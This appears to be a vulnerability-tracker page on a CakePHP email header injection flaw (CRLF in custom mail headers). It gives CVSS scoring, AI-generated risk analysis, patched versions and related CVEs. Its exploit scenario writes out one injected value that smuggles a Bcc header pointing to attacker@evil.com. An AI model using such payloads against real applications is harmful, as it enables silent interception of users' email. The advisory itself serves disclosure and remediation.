EUVD-2026-65123Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector reflects web-delivered input; PR:N as no attacker account is needed; S:U because impact stays within the email message; I:H for arbitrary header injection; C and A are N per actual impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
CakePHP is a rapid development framework for PHP. Prior to versions 4.5.12, 4.6.5, 5.1.8, 5.2.14, and 5.3.7 on their respective release lines, custom mail headers added with Message::setHeaders() or Message::addHeaders() do not have CRLF bytes removed, allowing header injection when user-controlled data is used in message headers. This issue is fixed in versions 4.5.12, 4.6.5, 5.1.8, 5.2.14, and 5.3.7.
AnalysisAI
Email header injection in CakePHP's Mailer component allows CRLF sequences embedded in custom header values to split SMTP headers and introduce attacker-controlled fields. All supported release lines are affected - 4.5.x, 4.6.x, 5.1.x, 5.2.x, and 5.3.x - when applications pass user-controlled data to Message::setHeaders() or Message::addHeaders(). …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the CakePHP application explicitly passes user-controlled data as a value to Message::setHeaders() or Message::addHeaders() - this is not a default framework behavior and must be deliberately coded by the application developer. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 8.2 (VI:H) accurately reflects that successful exploitation produces high-integrity impact - an attacker can inject arbitrary SMTP headers - but the AT:P (Attack Target Presence) metric is the decisive limiting factor: exploitation is only possible when an application explicitly routes user-controlled data into custom email headers, which is not default CakePHP behavior. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a crafted contact-form value such as 'legitimate-value\r\nBcc: attacker@evil.com' through an endpoint whose application code passes that value directly to Message::setHeaders() to populate a custom tracking or reply header. CakePHP's transport layer serializes the unsanitized string into the outbound SMTP DATA stream, where the CRLF sequence terminates the original header and the trailing text is parsed as a new Bcc field by the mail server, silently copying every outgoing message to the attacker's address. … |
| Remediation | Vendor-released patches are available: upgrade to CakePHP 4.5.12, 4.6.5, 5.1.8, 5.2.14, or 5.3.7 depending on the active release line, as confirmed by the official security advisory at https://github.com/cakephp/cakephp/security/advisories/GHSA-2qh5-382h-3jpc and corroborated by commits 08188962bcd99a95da1e49f62e786f2d688f1e41, 2afe42b02d8ddc5d442bca5e8bb61910a727646e, 3e09dae6cbdc983754fa3a8e6aae74da102a3ea1, and b67b622457362b075bb37e625a82af73a0b3c9c3. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all CakePHP deployments and confirm which versions (4.5.x, 4.6.x, 5.1.x, 5.2.x, 5.3.x) are in use; audit application code to determine if user-controlled data is passed to Message::setHeaders() or Message::addHeaders() methods. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
The Xml class in CakePHP 2.1.x before 2.1.5 and 2.2.x before 2.2.1 allows remote attackers to read arbitrary files via X
The clientIp function in CakePHP 3.2.4 and earlier allows remote attackers to spoof their IP via the CLIENT-IP HTTP head
CakePHP 2.x and 3.x before 3.1.5 might allow remote attackers to bypass the CSRF protection mechanism via the _method pa
CakePHP is a development framework for PHP web apps. Rated critical severity (CVSS 9.8), this vulnerability is remotely
SQL injection in CakePHP's database layer allows attackers to inject arbitrary SQL when an application uses FunctionsBui
An issue was discovered in SmtpTransport in CakePHP 3.7.6. Rated high severity (CVSS 7.5), this vulnerability is remotel
Local file inclusion in CakePHP's View::_getElementFileName() allows remote attackers to include arbitrary PHP files fro
CakePHP versions prior to 5.2.12 and 5.3.1 contain a stored cross-site scripting vulnerability in the PaginatorHelper::l
CakePHP before 4.0.6 mishandles CSRF token generation. Rated medium severity (CVSS 4.3), this vulnerability is remotely
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today